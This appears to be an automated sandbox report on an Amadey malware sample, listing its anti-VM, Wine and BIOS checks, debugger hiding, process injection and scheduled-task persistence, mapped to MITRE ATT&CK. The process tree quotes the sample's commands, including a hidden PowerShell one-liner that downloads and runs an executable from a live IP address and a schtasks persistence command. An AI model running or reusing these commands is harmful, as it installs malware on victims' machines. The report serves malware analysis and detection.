amadey | 4b6809eadff24e320c31e9bbef3a6bd66ef7861ee9280bff726d9be05ee92113

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	372	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
372	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
23	372	powershell.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE

Executes dropped EXE 3 IoCs

pid	Process
4936	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE
1716	rapes.exe
4316	rapes.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine	rapes.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
4936	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE
1716	rapes.exe
4316	rapes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	05fdff6b612497f1292bd7c12fd54d00.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1944	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
372	powershell.exe
372	powershell.exe
4936	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE
4936	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE
1716	rapes.exe
1716	rapes.exe
4316	rapes.exe
4316	rapes.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	372	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2280	05fdff6b612497f1292bd7c12fd54d00.exe
2280	05fdff6b612497f1292bd7c12fd54d00.exe
2280	05fdff6b612497f1292bd7c12fd54d00.exe
4936	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2280	05fdff6b612497f1292bd7c12fd54d00.exe
2280	05fdff6b612497f1292bd7c12fd54d00.exe
2280	05fdff6b612497f1292bd7c12fd54d00.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 1440	2280	05fdff6b612497f1292bd7c12fd54d00.exe	85
PID 2280 wrote to memory of 1440	2280	05fdff6b612497f1292bd7c12fd54d00.exe	85
PID 2280 wrote to memory of 1440	2280	05fdff6b612497f1292bd7c12fd54d00.exe	85
PID 2280 wrote to memory of 4940	2280	05fdff6b612497f1292bd7c12fd54d00.exe	86
PID 2280 wrote to memory of 4940	2280	05fdff6b612497f1292bd7c12fd54d00.exe	86
PID 2280 wrote to memory of 4940	2280	05fdff6b612497f1292bd7c12fd54d00.exe	86
PID 1440 wrote to memory of 1944	1440	cmd.exe	88
PID 1440 wrote to memory of 1944	1440	cmd.exe	88
PID 1440 wrote to memory of 1944	1440	cmd.exe	88
PID 4940 wrote to memory of 372	4940	mshta.exe	90
PID 4940 wrote to memory of 372	4940	mshta.exe	90
PID 4940 wrote to memory of 372	4940	mshta.exe	90
PID 372 wrote to memory of 4936	372	powershell.exe	104
PID 372 wrote to memory of 4936	372	powershell.exe	104
PID 372 wrote to memory of 4936	372	powershell.exe	104
PID 4936 wrote to memory of 1716	4936	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE	105
PID 4936 wrote to memory of 1716	4936	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE	105
PID 4936 wrote to memory of 1716	4936	TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE	105

C:\Users\Admin\AppData\Local\Temp\05fdff6b612497f1292bd7c12fd54d00.exe
"C:\Users\Admin\AppData\Local\Temp\05fdff6b612497f1292bd7c12fd54d00.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn de9lKma7kF9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\7VIp4icPT.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1440
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn de9lKma7kF9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\7VIp4icPT.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1944
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\7VIp4icPT.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:372
  - - C:\Users\Admin\AppData\Local\TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE
      "C:\Users\Admin\AppData\Local\TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4936
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1716

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

2

Credential Access

Discovery

Query Registry

4

System Information Discovery

3

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

2